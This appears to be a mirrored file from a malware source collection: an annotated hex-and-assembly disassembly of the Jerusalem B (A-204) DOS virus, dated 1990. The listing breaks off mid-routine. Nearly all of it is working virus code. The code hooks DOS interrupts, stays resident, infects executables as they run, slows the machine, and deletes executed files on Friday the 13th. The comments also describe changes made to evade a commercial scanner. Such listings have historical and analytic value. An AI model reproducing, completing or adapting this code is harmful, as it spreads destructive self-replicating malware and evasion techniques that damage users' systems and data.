mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
977 lines
40 KiB
NASM
977 lines
40 KiB
NASM
Virus : Jerusalem Version B Variant A-204
|
|
Disassembled by : Righard Zwienenberg
|
|
Steenwijklaan 302
|
|
2541 RT The Hague
|
|
The Netherlands
|
|
Data : +31-70-3898822, V22,V22b,HST,MNP,CM
|
|
Voive : +31-70-3675379
|
|
FidoNet address : 2:512/2.3
|
|
Used Software : ASMGEN, DEBUG and D86-Disassembler
|
|
Date : 20 june 1990
|
|
|
|
Note : All Values are hex. If a value is followd by d (e.g. 30d) it means
|
|
30 decimal.
|
|
|
|
Note : This disassembly consists of two programs. The original program was
|
|
a dummy file (20h bytes long) containing 1Fh times 90 RET and 01h time
|
|
C3 RET.
|
|
|
|
0100 E9 92 00 JMP 0195 ; JUMP -> 0195h
|
|
|
|
0103 db 2A,41,2D,32,30,34,2A ; *A-204* never used
|
|
|
|
010A dw 00 01 ; Startaddress original program
|
|
010C dw 01 56 ; Startaddress-offset original program
|
|
010E db 00 ; Trigger for destruction (delete file)
|
|
; Always zero, but if it is Friday the 13th and the year is
|
|
; not equal 1987 this byte is set to one
|
|
010F dw 00 00 ; Storing place for original AX (read-only word)
|
|
0111 dw 20 00 ; Length of Original Program (0020h)
|
|
0113 dw A5 FE ; Storing place for original BX of INT 08h vector
|
|
0115 dw 00 F0 ; Storing place for original ES of INT 08h vector
|
|
0117 dw 60 14 ; Storing place for original BX of INT 21h vector
|
|
0119 dw 2B 02 ; Storing place for original ES of INT 21h vector
|
|
011B dw 56 05 ; Storing place for original BX of INT 24h vector
|
|
011D dw DE 0C ; Storing place for original ES of INT 24h vector
|
|
011F dw 40 7E ; Storing place for timer for 30 minutes trigger
|
|
; By init. set to 7E90h
|
|
|
|
; The following words are never used by the virus. The are used
|
|
; by a routine starting at 0398h which is executed when INT 21h
|
|
; is called with AH=DEh. This never happens in the code.
|
|
0121 dw 00 00 ;
|
|
0123 dw 00 00 ;
|
|
0125 dw 00 00 ;
|
|
0127 dw 00 00 ;
|
|
0129 dw 00 00 ;
|
|
012B dw 00 00 ;
|
|
012D dw 00 E8 ;
|
|
012F dw 06 EC ;
|
|
|
|
0131 dw 91 16 ; Storing place for original ES
|
|
0133 dw 80 00 ; Storing place for BX. Never read again
|
|
|
|
0135 00 00 00 80 00
|
|
|
|
0139 dw 91 16 ; Storing place for original ES
|
|
|
|
013B 5C 00
|
|
|
|
013D dw 91 16 ; Storing place for original ES
|
|
|
|
013F 6C 00 ;
|
|
|
|
0141 dw 91 16 ; Temp. storing place for original ES
|
|
0143 dw 00 20 ; Temp. storing place for AX
|
|
0145 dw 0D 1F ; Temp. storing place for ES+10h
|
|
0147 dw 5F 21 ; Storing place for AX
|
|
0149 dw A1 16 ; Temp. storing place for ES+10h
|
|
014B dw 00 F0 ; Temp. storing place for AX
|
|
014D db 02 ; Temp. storing place for AL
|
|
014E db 00 ; COM/EXE indicator
|
|
; 0 = EXE-File
|
|
; 1 = COM-File
|
|
0151 dw 30 01 ; Temp. storing place for DX
|
|
0153 dw 23 00 ; Temp. storing place for AX
|
|
|
|
0155 20 01
|
|
|
|
0157 dw 4A 00 ; Read Only!!! The code only read this word to substract it
|
|
; from AX
|
|
|
|
0159 D4 06 D4 06
|
|
|
|
015D dw 98 03 ; Temp. Storing place to store AX
|
|
015F dw 10 07 ; Probably startaddress of virus in mem
|
|
0161 dw 84 19 ; Never used!!! 1984h is stored here by the code
|
|
0163 dw C5 00 ; 00C5h is being read and put back later by the code
|
|
0165 dw 99 03 ; Temp. storing place for AX
|
|
|
|
0167 1C 00 00 00 90 90 90 90 C3
|
|
|
|
0170 dw 05 00 ; Storing place for file handle (BX)
|
|
0172 dw 20 00 ; Storing place for file attributes
|
|
; bit 0 = read only
|
|
; bit 1 = hidden file
|
|
; bit 2 = system file
|
|
; bit 3 = volume label
|
|
; bit 4 = subdirectory
|
|
; bit 5 = archive bit
|
|
; bit 8 = shareable (Novell Network)
|
|
0174 dw D5 14 ; Storing place for file date (DX)
|
|
0176 dw 99 83 ; Storing place for file time (CX)
|
|
0178 dw 00 02 ; 0200h=512d Used as multiplier/divider
|
|
017A dw 10 00 ; 0001h= 1d Used as multiplier/divider
|
|
017C dw 20 3E ; Temp. storing place for AX
|
|
017E dw 00 00 ; Temp. storing place for DX
|
|
0180 dw B9 42 ; Storing place for DX of ASCIZ-Filename
|
|
0182 dw 1A 9B ; Storing place for DS of ASCIZ-Filename
|
|
|
|
0184 db 43,4F,4D,4D,41,4E,44,2E,43,4F,4D ; COMMAND.COM
|
|
; May not become infected
|
|
|
|
018F dw 01 00 ; Storing place for variable-result of free-memory-scan
|
|
; 0000h : not enough memory available
|
|
; 0001h : enough memory available
|
|
|
|
0191 00 00 00 00
|
|
|
|
0195 FC CLD ; Clear Direct
|
|
0196 B4 E0 MOV AH,0E0 ; This is the check if the
|
|
0198 CD 21 INT 021 ; virus is already active
|
|
; in memory. INT 21h with
|
|
; AH=E0h will return AX=0300h
|
|
; if the virus is active.
|
|
019A 80 FC E0 CMP AH,0E0 ; AH>=E0h?
|
|
019D 73 16 JAE 01B5 ; Yes: -> 01B5h
|
|
019F 80 FC 03 CMP AH,3 ; AH<-03h?
|
|
01A2 72 11 JB 01B5 ; Yes: -> 01B5h
|
|
; INT 21h with AH=
|
|
; DDh,DEh,E0h
|
|
; are self-defined.
|
|
|
|
; SetUp for
|
|
; Executing original program
|
|
; We come here if an infected
|
|
; program is executed and the
|
|
; virus is already active in
|
|
; memory.
|
|
01A4 B4 DD MOV AH,0DD ;
|
|
01A6 BF 00 01 MOV DI,0100 ; Destination Index = 0100h
|
|
01A9 BE 10 07 MOV SI,0710 ; Source Index = 0710h
|
|
01AC 03 F7 ADD SI,DI ; Source Index:= 0810h
|
|
; At this place the original
|
|
; Program is located
|
|
01AE 2E 8B 8D 11 00 CS MOV CX,W[DI+011]; CX=20h (length original
|
|
; Program)
|
|
01B3 CD 21 INT 021 ;
|
|
|
|
; Here we come when the virus
|
|
; is not yet in memory
|
|
01B5 8C C8 MOV AX,CS ; AX=Code Segment
|
|
01B7 05 10 00 ADD AX,010 ; AX:=AX+10h
|
|
01BA 8E D0 MOV SS,AX ; Stack Segment:=AX
|
|
01BC BC 00 07 MOV SP,0700 ; StackPointer = 0700h
|
|
01BF 50 PUSH AX ; Store AX
|
|
01C0 B8 C5 00 MOV AX,0C5 ; AX = C5h
|
|
01C3 50 PUSH AX ; Store AX
|
|
01C4 CB RETF ; -> C5h
|
|
|
|
01C5 FC CLD ; Clear Direct
|
|
01C6 06 PUSH ES ; Store ES
|
|
01C7 2E 8C 06 31 00 CS MOV W[031],ES ; Store ES
|
|
01CC 2E 8C 06 39 00 CS MOV W[039],ES ; in storage places
|
|
01D1 2E 8C 06 3D 00 CS MOV W[03D],ES ;
|
|
01D6 2E 8C 06 41 00 CS MOV W[041],ES ;
|
|
01DB 8C C0 MOV AX,ES ; AX=ES
|
|
01DD 05 10 00 ADD AX,010 ; AX=AX+10h
|
|
01E0 2E 01 06 49 00 CS ADD W[049],AX ; Add AX (ES+10h) to 0149h
|
|
01E5 2E 01 06 45 00 CS ADD W[045],AX ; and 0145h
|
|
01EA B4 E0 MOV AH,0E0 ; AH=E0h (Self defined)
|
|
01EC CD 21 INT 021 ; CALL INT 21h
|
|
|
|
01EE 80 FC E0 CMP AH,0E0 ; AH>=0Eh?
|
|
01F1 73 13 JAE 0206 ; Yes: -> 0206
|
|
01F3 80 FC 03 CMP AH,3 ; AH=03h? Must be if the
|
|
; viruscode is in memory
|
|
; and interrupt 21h is called
|
|
; with AH=E0h.
|
|
|
|
01F6 07 POP ES ; Restore original ES
|
|
01F7 2E 8E 16 45 00 CS MOV SS,W[045] ; SS=ES+10h
|
|
01FC 2E 8B 26 43 00 CS MOV SP,W[043] ;
|
|
0201 2E FF 2E 47 00 CS JMP D[047] ;
|
|
|
|
0206 33 C0 XOR AX,AX ; AX=0000h
|
|
0208 8E C0 MOV ES,AX ; ES=0000h
|
|
020A 26 A1 FC 03 ES MOV AX,W[03FC]
|
|
|
|
; Here the A-204 variant
|
|
; differs for the first
|
|
; time from the original
|
|
; Jerusalem Version B virus.
|
|
020E 26 A0 FE 03 ES MOV AL,B[03FE] ; These two line have been
|
|
0212 2E A3 4B 00 CS MOV W[04B],AX ; changed in order
|
|
; to avoid being
|
|
; detected by ViruScan from
|
|
; John McAfee.
|
|
|
|
0216 2E A2 4D 00 CS MOV B[04D],AL
|
|
021A 26 C7 06 FC 03 F3 A5 ES MOV W[03FC],0A5F3
|
|
0221 26 C6 06 FE 03 CB ES MOV B[03FE],0CB
|
|
0227 58 POP AX
|
|
0228 05 10 00 ADD AX,010
|
|
022B 8E C0 MOV ES,AX
|
|
022D 0E PUSH CS ; Store CS
|
|
022E 1F POP DS ; DS=CS
|
|
022F B9 10 07 MOV CX,0710 ; CX=0710h
|
|
0232 D1 E9 SHR CX,1 ; CX >> 1 (CX:=0308h)
|
|
0234 33 F6 XOR SI,SI ; SI=0000h
|
|
0236 8B FE MOV DI,SI ; DI=0000h
|
|
0238 06 PUSH ES ; Store ES
|
|
0239 B8 42 01 MOV AX,0142 ; AX=0142h
|
|
023C 50 PUSH AX ; Store AX
|
|
023D EA FC 03 00 00 JMP 0:03FC
|
|
|
|
0242 8C C8 MOV AX,CS ; AX=CS
|
|
0244 8E D0 MOV SS,AX ; SS=CS
|
|
0246 BC 00 07 MOV SP,0700 ; SP=0700h
|
|
0249 33 C0 XOR AX,AX ; AX=0000h
|
|
024B 8E D8 MOV DS,AX ; DS=0000h
|
|
024D 2E A1 4B 00 CS MOV AX,W[04B] ; Restore AX
|
|
0251 A3 FC 03 MOV W[03FC],AX ; Store AX
|
|
0254 2E A0 4D 00 CS MOV AL,B[04D] ; Restore AL
|
|
0258 A2 FE 03 MOV B[03FE],AL ; Store AL
|
|
025B 8B DC MOV BX,SP ; BX=SP
|
|
025D B1 04 MOV CL,4 ; CL=04h
|
|
025F D3 EB SHR BX,CL ; BX >> 4
|
|
0261 83 C3 10 ADD BX,010 ; BX=BX+10h
|
|
0264 2E 89 1E 33 00 CS MOV W[033],BX ; Store BX. Why I don't know,
|
|
; the storing place is never
|
|
; read again
|
|
0269 B4 4A MOV AH,04A ;
|
|
026B 2E 8E 06 31 00 CS MOV ES,W[031] ; Restore ES
|
|
0270 CD 21 INT 021 ; Adjust Memory Block Size
|
|
; (SETBLOCK)
|
|
|
|
0272 B8 21 35 MOV AX,03521 ; Get original INT 21h
|
|
0275 CD 21 INT 021 ; vector
|
|
|
|
0277 2E 89 1E 17 00 CS MOV W[017],BX ; Store BX and ES of INT 21h
|
|
027C 2E 8C 06 19 00 CS MOV W[019],ES ; vector
|
|
0281 0E PUSH CS ; Store CS
|
|
0282 1F POP DS ; DS=CS
|
|
0283 BA 5B 02 MOV DX,025B ; DX=025Bh
|
|
0286 B8 21 25 MOV AX,02521 ; Set new INT 21h
|
|
0289 CD 21 INT 021 ; vector on DS:025Bh
|
|
|
|
028B 8E 06 31 00 MOV ES,W[031] ; Restore original ES
|
|
028F 26 8E 06 2C 00 ES MOV ES,W[02C] ;
|
|
0294 33 FF XOR DI,DI ; DI=0000h
|
|
0296 B9 FF 7F MOV CX,07FFF ; CX=7FFFh
|
|
0299 32 C0 XOR AL,AL ; AL=0000h
|
|
029B F2 AE REPNE SCASB ;
|
|
029D 26 38 05 ES CMP B[DI],AL ;
|
|
02A0 E0 F9 LOOPNE 029B ; No Flags: DEC CX -> 02A2h
|
|
; IF CX<>0 and not equal
|
|
; -> 029B
|
|
02A2 8B D7 MOV DX,DI ; DX=DI
|
|
02A4 83 C2 03 ADD DX,3 ; DX=DX+03h
|
|
02A7 B8 00 4B MOV AX,04B00 ; AX=4B00h
|
|
02AA 06 PUSH ES ; Store ES
|
|
02AB 1F POP DS ; Restore DS (DS:=ES)
|
|
02AC 0E PUSH CS ; Store CS
|
|
02AD 07 POP ES ; Restore ES (ES:=CS)
|
|
02AE BB 35 00 MOV BX,035 ; BX=35h
|
|
02B1 1E PUSH DS ; Store Registers
|
|
02B2 06 PUSH ES
|
|
02B3 50 PUSH AX
|
|
02B4 53 PUSH BX
|
|
02B5 51 PUSH CX
|
|
02B6 52 PUSH DX
|
|
|
|
02B7 B4 2A MOV AH,02A ; Get Current Date
|
|
02B9 CD 21 INT 021 ; DL=day
|
|
; DH=month
|
|
; CX=year
|
|
; AL=Day of the week
|
|
|
|
02BB 2E C6 06 0E 00 00 CS MOV B[0E],0 ; Set Trigger for deleting
|
|
; infected files to 00h
|
|
02C1 81 F9 C3 07 CMP CX,07C3 ; Is year 1987 ?
|
|
02C5 74 30 JE 02F7 ; Yes: -> 02F7h
|
|
02C7 3C 05 CMP AL,5 ; Is it Friday ?
|
|
02C9 75 0D JNE 02D8 ; No: -> 02D8h
|
|
02CB 80 FA 0D CMP DL,0D ; Is it 13th ?
|
|
02CE 75 08 JNE 02D8 ; No: -> 02D8h
|
|
; Yes: it is Friday
|
|
; the 13th and the
|
|
; year is not equal 1987
|
|
02D0 2E FE 06 0E 00 CS INC B[0E] ; Set Trigger for deleting
|
|
; infected files to 01h
|
|
02D5 EB 20 JMP 02F7 ; JUMP -> 02F7h
|
|
|
|
02D7 90 NOP
|
|
|
|
02D8 B8 08 35 MOV AX,03508 ; Get original INT 8h
|
|
02DB CD 21 INT 021 ; vector
|
|
|
|
02DD 2E 89 1E 13 00 CS MOV W[013],BX ; Store original BX
|
|
02E2 2E 8C 06 15 00 CS MOV W[015],ES ; and ES of INT 08h vector
|
|
02E7 0E PUSH CS
|
|
02E8 1F POP DS
|
|
02E9 C7 06 1F 00 90 7E MOV W[01F],07E90 ; Store 30d minutes into
|
|
; timer interrupt. This
|
|
; value is decreased by
|
|
; one 18.2 times per second
|
|
02EF B8 08 25 MOV AX,02508 ; Set new INT 8h vector
|
|
02F2 BA 1E 02 MOV DX,021E ; to DS:021Eh
|
|
02F5 CD 21 INT 021 ;
|
|
|
|
02F7 5A POP DX ; Restore Registers
|
|
02F8 59 POP CX
|
|
02F9 5B POP BX
|
|
02FA 58 POP AX
|
|
02FB 07 POP ES
|
|
02FC 1F POP DS
|
|
02FD 9C PUSHF ; Store Flags
|
|
02FE 2E FF 1E 17 00 CS CALL D[017] ; Call original INT 21h
|
|
; address
|
|
|
|
0303 1E PUSH DS ; Restore DS
|
|
0304 07 POP ES ; Store ES
|
|
0305 B4 49 MOV AH,049 ; Free Memory
|
|
0307 CD 21 INT 021 ;
|
|
|
|
0309 B4 4D MOV AH,04D ; Get ExitCode of
|
|
030B CD 21 INT 021 ; SubProgram (WAIT)
|
|
; Stored in AL
|
|
|
|
030D B4 31 MOV AH,031 ; AX=31[AL]h
|
|
030F BA 00 06 MOV DX,0600 ; DX=600h
|
|
0312 B1 04 MOV CL,4 ; CL=04h
|
|
0314 D3 EA SHR DX,CL ; DX >> 4 (DX=60H)
|
|
0316 83 C2 10 ADD DX,010 ; DX=DX+10h (DX=70h)
|
|
; Program Size in Paragraphs
|
|
; is 70h Bytes
|
|
0319 CD 21 INT 021 ; Terminate but Stay Resident
|
|
|
|
031B 32 C0 XOR AL,AL ; Clear AL
|
|
031D CF IRET ; Interrupt Return
|
|
|
|
; 031Eh is the new INT 08h
|
|
; vector. This routine is
|
|
; called 18.2 times per
|
|
; second
|
|
031E 2E 83 3E 1F 00 02 CS CMP W[01F],2 ; Timer decreased til 02h?
|
|
0324 75 17 JNE 033D ; No: -> 033D
|
|
|
|
; Yes: now 32 minutes are
|
|
; passed since infection
|
|
0326 50 PUSH AX ; Store Registers
|
|
0327 53 PUSH BX
|
|
0328 51 PUSH CX
|
|
0329 52 PUSH DX
|
|
032A 55 PUSH BP
|
|
|
|
032B B8 02 06 MOV AX,0602 ; Scroll box with coordinates
|
|
032E B7 87 MOV BH,087 ; (5h,5h),(10h,10h) two
|
|
0330 B9 05 05 MOV CX,0505 ; lines upwards
|
|
0333 BA 10 10 MOV DX,01010 ;
|
|
0336 CD 10 INT 010 ;
|
|
|
|
0338 5D POP BP ; Restore Registers
|
|
0339 5A POP DX
|
|
033A 59 POP CX
|
|
033B 5B POP BX
|
|
033C 58 POP AX
|
|
033D 2E FF 0E 1F 00 CS DEC W[01F] ; Decrease Timer-Trigger
|
|
; This now becomes 01h
|
|
0342 75 12 JNE 0356 ; If 0: -> 0356h
|
|
0344 2E C7 06 1F 00 01 00 CS MOV W[01F],1 ; Timer-Trigger set to 01h
|
|
034B 50 PUSH AX ; Store AX
|
|
034C 51 PUSH CX ; Store CX
|
|
034D 56 PUSH SI ; Store SI
|
|
034E B9 01 40 MOV CX,04001 ; CX=4001h
|
|
0351 F3 AC REP LODSB ; Load byte [SI] into AL and
|
|
; advance SI, done CX times.
|
|
; This is the routine which
|
|
; decreases the speed of the
|
|
; machine til 1/5th of the
|
|
; original. 32 minutes after
|
|
; infection this routine is
|
|
; executes 18.2 times a second
|
|
0353 5E POP SI ; Restore SI
|
|
0354 59 POP CX ; Restore CX
|
|
0355 58 POP AX ; Restore AX
|
|
0356 2E FF 2E 13 00 CS JMP D[013] ; Jump to original INT 08h
|
|
; address
|
|
|
|
; Here we come if INT 21h is
|
|
; called
|
|
035B 9C PUSHF ; Store Flags
|
|
035C 80 FC E0 CMP AH,0E0 ; AH=0Eh ?
|
|
035F 75 05 JNE 0366 ; No: -> 0366h
|
|
0361 B8 00 03 MOV AX,0300 ; AX=0300h
|
|
0364 9D POPF ; Restore Flags
|
|
0365 CF IRET ; Interrupt Return
|
|
|
|
0366 80 FC DD CMP AH,0DD ; AH=DDh?
|
|
0369 74 13 JE 037E ; Yes: -> 037Eh
|
|
036B 80 FC DE CMP AH,0DE ; AH=DEh?
|
|
036E 74 28 JE 0398 ; Yes: -> 0398h
|
|
; INT 21h is never called
|
|
; with AH=DEh. So the routine
|
|
; at 0398h is never used
|
|
; (seems)
|
|
|
|
0370 3D 00 4B CMP AX,04B00 ; Load & Execute ?
|
|
0373 75 03 JNE 0378 ; No: -> 0378h
|
|
0375 E9 B4 00 JMP 042C ; Yes: -> 042Ch
|
|
0378 9D POPF ; Restore Flags
|
|
0379 2E FF 2E 17 00 CS JMP D[017] ; Jmp to original
|
|
; INT 21h address
|
|
|
|
; Execute original program
|
|
037E 58 POP AX
|
|
037F 58 POP AX ; Restore AX
|
|
0380 B8 00 01 MOV AX,0100 ; AX=0100h
|
|
0383 2E A3 0A 00 CS MOV W[0A],AX ; Store AX
|
|
0387 58 POP AX ; Restore AX
|
|
0388 2E A3 0C 00 CS MOV W[0C],AX ; Store AX
|
|
038C F3 A4 REP MOVSB ;
|
|
038E 9D POPF ; Restore Flags
|
|
038F 2E A1 0F 00 CS MOV AX,W[0F] ; AX=0000h
|
|
0393 2E FF 2E 0A 00 CS JMP D[0A] ; JUMP -> CS:0100h
|
|
; This executes the original
|
|
; program
|
|
|
|
|
|
; This routine is called
|
|
; when INT 21h with AH=DEh
|
|
; is called which never
|
|
; happens in the code. I
|
|
; have to investigate it
|
|
; a bit more. Til then
|
|
; it remains without comments.
|
|
0398 83 C4 06 ADD SP,6
|
|
039B 9D POPF
|
|
039C 8C C8 MOV AX,CS
|
|
039E 8E D0 MOV SS,AX
|
|
03A0 BC 10 07 MOV SP,0710
|
|
03A3 06 PUSH ES
|
|
03A4 06 PUSH ES
|
|
03A5 33 FF XOR DI,DI
|
|
03A7 0E PUSH CS
|
|
03A8 07 POP ES
|
|
03A9 B9 10 00 MOV CX,010
|
|
03AC 8B F3 MOV SI,BX
|
|
03AE BF 21 00 MOV DI,021
|
|
03B1 F3 A4 REP MOVSB
|
|
03B3 8C D8 MOV AX,DS
|
|
03B5 8E C0 MOV ES,AX
|
|
03B7 2E F7 26 7A 00 CS MUL W[07A]
|
|
03BC 2E 03 06 2B 00 CS ADD AX,W[02B]
|
|
03C1 83 D2 00 ADC DX,0
|
|
03C4 2E F7 36 7A 00 CS DIV W[07A]
|
|
03C9 8E D8 MOV DS,AX
|
|
03CB 8B F2 MOV SI,DX
|
|
03CD 8B FA MOV DI,DX
|
|
03CF 8C C5 MOV BP,ES
|
|
03D1 2E 8B 1E 2F 00 CS MOV BX,W[02F]
|
|
03D6 0B DB OR BX,BX
|
|
03D8 74 13 JE 03ED
|
|
03DA B9 00 80 MOV CX,08000
|
|
03DD F3 A5 REP MOVSW
|
|
03DF 05 00 10 ADD AX,01000
|
|
03E2 81 C5 00 10 ADD BP,01000
|
|
03E6 8E D8 MOV DS,AX
|
|
03E8 8E C5 MOV ES,BP
|
|
03EA 4B DEC BX
|
|
03EB 75 ED JNE 03DA
|
|
03ED 2E 8B 0E 2D 00 CS MOV CX,W[02D]
|
|
03F2 F3 A4 REP MOVSB
|
|
03F4 58 POP AX
|
|
03F5 50 PUSH AX
|
|
03F6 05 10 00 ADD AX,010
|
|
03F9 2E 01 06 29 00 CS ADD W[029],AX
|
|
03FE 2E 01 06 25 00 CS ADD W[025],AX
|
|
0403 2E A1 21 00 CS MOV AX,W[021]
|
|
0407 1F POP DS
|
|
0408 07 POP ES
|
|
0409 2E 8E 16 29 00 CS MOV SS,W[029]
|
|
040E 2E 8B 26 27 00 CS MOV SP,W[027]
|
|
0413 2E FF 2E 23 00 CS JMP D[023]
|
|
|
|
; We come here if B[0Eh]=1,
|
|
; which means Friday 13th,
|
|
; year<>1987. This routine
|
|
; deletes the loaded file.
|
|
0418 33 C9 XOR CX,CX ; Clear all bits of the File
|
|
; Attribute
|
|
041A B8 01 43 MOV AX,04301 ;
|
|
041D CD 21 INT 021 ; Put File Atributes
|
|
|
|
041F B4 41 MOV AH,041 ;
|
|
0421 CD 21 INT 021 ; Delete a File (Unlink)
|
|
|
|
0423 B8 00 4B MOV AX,04B00
|
|
|
|
0426 9D POPF ; Get Flags
|
|
0427 2E FF 2E 17 00 CS JMP D[017]
|
|
|
|
; We come here each time a
|
|
; file is loaded with the
|
|
; load and execute call
|
|
; (INT 21h, AX=4B00h)
|
|
042C 2E 80 3E 0E 00 01 CS CMP B[0E],1 ; Is it Friday 13th,
|
|
; year<>1987?
|
|
0432 74 E4 JE 0418 ; Yes: -> 0418h
|
|
0434 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle -1 ???
|
|
043B 2E C7 06 8F 00 00 00 CS MOV W[08F],0 ; Clear Memory-Available
|
|
; variable
|
|
0442 2E 89 16 80 00 CS MOV W[080],DX ; DS:DX -> ASCIZ Filename,
|
|
0447 2E 8C 1E 82 00 CS MOV W[082],DS ; Store DX and DS
|
|
044C 50 PUSH AX
|
|
044D 53 PUSH BX
|
|
044E 51 PUSH CX
|
|
044F 52 PUSH DX
|
|
0450 56 PUSH SI
|
|
0451 57 PUSH DI
|
|
0452 1E PUSH DS
|
|
0453 06 PUSH ES
|
|
0454 FC CLD
|
|
0455 8B FA MOV DI,DX ;
|
|
0457 32 D2 XOR DL,DL ; DL=00h : Take Default Drive
|
|
0459 80 7D 01 3A CMP B[DI+1],03A ; ':' at 2nd place in ASCIZ-
|
|
; filename
|
|
045D 75 05 JNE 0464 ; No: -> 0464h
|
|
045F 8A 15 MOV DL,B[DI] ; Get Drive Letter
|
|
0461 80 E2 1F AND DL,01F ; Get Drive Code
|
|
; 0 = Default
|
|
; 1 = A
|
|
; 2 = B, etc.
|
|
0464 B4 36 MOV AH,036 ;
|
|
0466 CD 21 INT 021 ; Get disk space
|
|
; BX=# of available clusters
|
|
; CX=Bytes per sector
|
|
; DX=Total clusters
|
|
|
|
0468 3D FF FF CMP AX,-1 ; No Sectors Free?
|
|
046B 75 03 JNE 0470 ; No: -> 0470h
|
|
046D E9 77 02 JMP 06E7 ; Yes: -> 06E7h
|
|
|
|
|
|
0470 F7 E3 MUL BX ; Calculate Free Space
|
|
0472 F7 E1 MUL CX ;
|
|
0474 0B D2 OR DX,DX ;
|
|
0476 75 05 JNE 047D ;
|
|
0478 3D 10 07 CMP AX,0710 ; 1808 Bytes Free?
|
|
047B 72 F0 JB 046D ; No: -> 046Dh
|
|
047D 2E 8B 16 80 00 CS MOV DX,W[080] ; Restore DX's ASCIZ Filename
|
|
0482 1E PUSH DS
|
|
0483 07 POP ES
|
|
0484 32 C0 XOR AL,AL ; AL=00h
|
|
0486 B9 41 00 MOV CX,041 ;
|
|
0489 F2 AE REPNE SCASB ; Check if filename
|
|
048B 2E 8B 36 80 00 CS MOV SI,W[080] ; is in UPPERCASE
|
|
0490 8A 04 MOV AL,B[SI] ;
|
|
0492 0A C0 OR AL,AL ; All UPPERRCASE?
|
|
0494 74 0E JE 04A4 ; IF so: -> 04A4h
|
|
0496 3C 61 CMP AL,061 ; AL<'a' ?
|
|
0498 72 07 JB 04A1 ; Yes: -> 04A1h
|
|
049A 3C 7A CMP AL,07A ; AL>'z' ?
|
|
049C 77 03 JA 04A1 ; Yes: -> 04A1h
|
|
049E 80 2C 20 SUB B[SI],020 ; Transfer filename
|
|
; into UPPERCASE
|
|
04A1 46 INC SI ; SI=SI+1
|
|
04A2 EB EC JMP 0490
|
|
|
|
04A4 B9 0B 00 MOV CX,0B ; CX=0Bh
|
|
04A7 2B F1 SUB SI,CX ; Return SI to start
|
|
; of Filename
|
|
04A9 BF 84 00 MOV DI,084 ; Start of COMMAND.COM
|
|
; filename
|
|
04AC 0E PUSH CS
|
|
04AD 07 POP ES
|
|
04AE B9 0B 00 MOV CX,0B
|
|
04B1 F3 A6 REPE CMPSB ; Filename=COMMAND.COM ?
|
|
04B3 75 03 JNE 04B8 ; No: -> 04B8h
|
|
04B5 E9 2F 02 JMP 06E7 ; Yes: -> 06E7h
|
|
|
|
; We come here if the
|
|
; loaded program is not
|
|
; COMMAND.COM
|
|
04B8 B8 00 43 MOV AX,04300 ;
|
|
04BB CD 21 INT 021 ; Get File Attributes
|
|
|
|
04BD 72 05 JB 04C4 ; If Error: -> 04C4h
|
|
04BF 2E 89 0E 72 00 CS MOV W[072],CX ; Store File Attributes
|
|
04C4 72 25 JB 04EB ; If Error: -> 04EBh
|
|
04C6 32 C0 XOR AL,AL ; AL=00h
|
|
04C8 2E A2 4E 00 CS MOV B[04E],AL ; Dummy=0
|
|
04CC 1E PUSH DS ;
|
|
04CD 07 POP ES ;
|
|
04CE 8B FA MOV DI,DX ;
|
|
04D0 B9 41 00 MOV CX,041 ;
|
|
04D3 F2 AE REPNE SCASB ;
|
|
04D5 80 7D FE 4D CMP B[DI-2],04D ; "M" ?
|
|
04D9 74 0B JE 04E6 ; Yes: -> 04E6h
|
|
04DB 80 7D FE 6D CMP B[DI-2],06D ; "m" ?
|
|
04DF 74 05 JE 04E6 ; Yes: -> 04E6h
|
|
04E1 2E FE 06 4E 00 CS INC B[04E] ; Dummy=Dummy+1
|
|
04E6 B8 00 3D MOV AX,03D00 ; Open Disk File with
|
|
04E9 CD 21 INT 021 ; handle in compatibility
|
|
; mode
|
|
; DS:DX : -> ASCIZ Filename
|
|
|
|
04EB 72 5A JB 0547 ; IF Error: -> 0547h
|
|
04ED 2E A3 70 00 CS MOV W[070],AX ; Store File Handle
|
|
04F1 8B D8 MOV BX,AX ; BX=File Handle
|
|
04F3 B8 02 42 MOV AX,04202 ; Move File Read/Write
|
|
; Pointer (LSEEK) with
|
|
; offset from end of file
|
|
04F6 B9 FF FF MOV CX,-1 ; CX:DX = offset in bytes
|
|
04F9 BA FB FF MOV DX,-5 ;
|
|
04FC CD 21 INT 021 ;
|
|
; DX:AX = new absolute
|
|
; offset from beginning of
|
|
; file
|
|
|
|
04FE 72 EB JB 04EB ; If Error: -> 04EBh
|
|
0500 05 05 00 ADD AX,5 ; ????
|
|
0503 2E A3 11 00 CS MOV W[011],AX ; Store Length of File
|
|
|
|
0507 B9 05 00 MOV CX,5 ; Read from a file with
|
|
050A BA 6B 00 MOV DX,06B ; handle BX 5h bytes into
|
|
050D 8C C8 MOV AX,CS ; DS:DX buffer
|
|
050F 8E D8 MOV DS,AX ;
|
|
0511 8E C0 MOV ES,AX ;
|
|
0513 B4 3F MOV AH,03F ;
|
|
0515 CD 21 INT 021 ;
|
|
|
|
0517 8B FA MOV DI,DX ; DI=DX=6Bh
|
|
0519 BE 05 00 MOV SI,5 ; SI=05h
|
|
051C F3 A6 REPE CMPSB ; Check first 5 bytes to see
|
|
; if a file already is
|
|
; infected
|
|
051E 75 07 JNE 0527 ; If not: -> 0527h
|
|
0520 B4 3E MOV AH,03E ; Close a file with
|
|
0522 CD 21 INT 021 ; handle
|
|
|
|
0524 E9 C0 01 JMP 06E7 ; Jump -> 06E7h
|
|
|
|
0527 B8 24 35 MOV AX,03524 ; Get original int 24h
|
|
052A CD 21 INT 021 ; vector. Stored in ES:BX
|
|
|
|
052C 89 1E 1B 00 MOV W[01B],BX ; Store BX of INT 24h vector
|
|
0530 8C 06 1D 00 MOV W[01D],ES ; Store ES of INT 24h vector
|
|
0534 BA 1B 02 MOV DX,021B ; Set new int 24h vector
|
|
0537 B8 24 25 MOV AX,02524 ; to DS:DX
|
|
053A CD 21 INT 021 ;
|
|
|
|
053C C5 16 80 00 LDS DX,[080] ; DS:DX=Filename
|
|
0540 33 C9 XOR CX,CX ; Get fileattributes
|
|
0542 B8 01 43 MOV AX,04301 ; Put File Attributes
|
|
0545 CD 21 INT 021 ; (CHMOD)
|
|
|
|
0547 72 3B JB 0584 ; If Error: -> 0584h
|
|
0549 2E 8B 1E 70 00 CS MOV BX,W[070] ; Close a file with
|
|
054E B4 3E MOV AH,03E ; handle BX
|
|
0550 CD 21 INT 021 ;
|
|
|
|
0552 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle=-1 ???
|
|
0559 B8 02 3D MOV AX,03D02 ; Open File with
|
|
